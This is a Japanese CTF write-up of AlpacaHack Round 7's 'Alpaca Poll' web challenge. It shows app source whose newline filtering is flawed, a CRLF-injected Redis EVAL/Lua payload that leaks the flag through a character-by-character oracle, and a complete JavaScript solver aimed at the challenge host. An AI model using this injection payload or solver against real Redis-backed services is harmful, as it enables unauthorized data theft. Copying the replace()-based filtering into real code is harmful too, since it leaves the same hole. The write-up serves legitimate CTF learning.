[web] Alpaca Poll (AlpacaHack Round 7) writeup

---

- Source: AlpacaHack Round 7 (web)
- Author: [st98](https://x.com/st98_)

---

dog, cat, alpacaに対して投票ができるアプリ。

![](https://storage.googleapis.com/zenn-user-upload/a7a525990893-20241130.png)

データはRedisに保存されており、incrementとgetのみが可能。
また、flagもRedisに保存されている。これをどうにかして読み出したい。

<details><summary>index.js</summary>

```js
import fs from 'node:fs/promises';
import express from 'express';

import { init, vote, getVotes } from './db.js';

const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'Alpaca{dummy}';

process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('static'));

const indexHtml = (await fs.readFile('./static/index.html')).toString();
app.get('/', async (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    return res.send(indexHtml);
});

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

app.get('/votes', async (req, res) => {
    return res.json(await getVotes());
});

await init(FLAG); // initialize Redis
app.listen(PORT, () => {
    console.log(`server listening on ${PORT}`);
});
```
</details>

<details><summary>db.js</summary>

```js
import net from 'node:net';

function connect() {
    return new Promise(resolve => {
        const socket = net.connect('6379', 'localhost', () => {
            resolve(socket);
        });
    });
}

function send(socket, data) {
    console.info('[send]', JSON.stringify(data));
    socket.write(data);

    return new Promise(resolve => {
        socket.on('data', data => {
            console.info('[recv]', JSON.stringify(data.toString()));
            resolve(data.toString());
        })
    });
}

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

const ANIMALS = ['dog', 'cat', 'alpaca'];
export async function getVotes() {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        message += `GET ${animal}\r\n`;
    }

    const reply = await send(socket, message);
    socket.destroy();

    let result = {};
    for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) {
        result[ANIMALS[index]] = parseInt(match[1], 10);
    }

    return result;
}

export async function init(flag) {
    const socket = await connect();

    let message = '';
    for (const animal of ANIMALS) {
        const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0;
        message += `SET ${animal} ${votes}\r\n`;
    }

    message += `SET flag ${flag}\r\n`; // please exfiltrate this

    await send(socket, message);
    socket.destroy();
}
```
</details>

この問題は環境を自分で生成する（=人によって環境が異なる）ので、何かしらの破壊的変更を加えることが可能とメタ読みする。~~ここでしばらくprotorype pollutionを疑って沼っていたのは内緒~~

しばらくコードを眺めていると、`POST /vote`の改行コード除去で`replaceAll()`ではなく`replace()`を使用していることに気付いた。`replace()`は置換対象が複数回出現する場合も最初に一致したもののみ置換するという挙動を取る。
```js
app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});
```

そして、Redisへincrementするコマンドを構築する部分では文字列結合を行っている。
```js
export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;

    const reply = await send(socket, message);
    socket.destroy();

    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}
```

つまり、`cat \r\n\r\nGET flag`というリクエストを送ると`INCR cat\r\nGET flag\r\n`という文字列が構築される。このリクエストを投げてローカルで実行結果を確認すると、`[recv] ":46\r\n$16\r\nAlpaca{REDACTED}\r\n"`と表示され、任意のRedisコマンド`GET flag`が実行できていることが分かる。

これでflagを読み出すことはできたが、`return parseInt(reply.match(/:(\d+)/)[1], 10);`によって数字以外の値を返すことができなくなっている。`INCR flag`でエラーが返ってくることは確認していたため、Error-Based NoSQL(?) Injectionができないかを考えた。

SQLのIF句に相当するものが無いか探していたら、どうやら`EVAL`というものがあり、その中でLuaを実行できることが分かった。これを用いればLuaを用いてflagの値を1文字ずつ比較し、1か0を返すpayloadが書けそうだ。

最終的なpayloadは以下のようになった。
```
"flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`
```
これはflagの`${length}`文字目までが`${flag}`と一致していれば`:1`を、一致していなければ`:0`を返す。一行目（`\r\n`より前）のコマンドを`INCR flag`としエラーを返すようにすることで、この`1`または`0`が最終的なレスポンスに含まれるようになっている。

これを用いて、flagを一文字ずつ特定するsolverを書いた。
```js
const target = "http://34.170.146.252:28695/vote"
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"

const buildPayload = (flag) => {
  length = flag.length
  return "flag\r\n\r\n" + `EVAL "local flag = redis.call('GET', 'flag') if (string.sub(flag, 1, ARGV[1]) == ARGV[2]) then return ':1' end return ':0'" 0 ${length} ${flag}`
}

const solve = async () => {
  let flag = ""
  while(true) {
    for (let i = 0; i < charset.length; i++) {
      const payload = buildPayload(flag + charset[i])
      const resp = await fetch(target, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: `animal=${payload}`,
      })
      const data = await resp.text()
      if (data.slice(-2, -1) == 1) {
        flag += charset[i]
        console.log("Found:", flag)
        break
      }
    }
    if (flag.slice(-1) == "}") {
      console.log("Flag:", flag)
      break
    }
  }
}
solve()
```

少し時間はかかったが、無事にflagを入手することができた。
`Alpaca{ezotanuki_mofumofu}`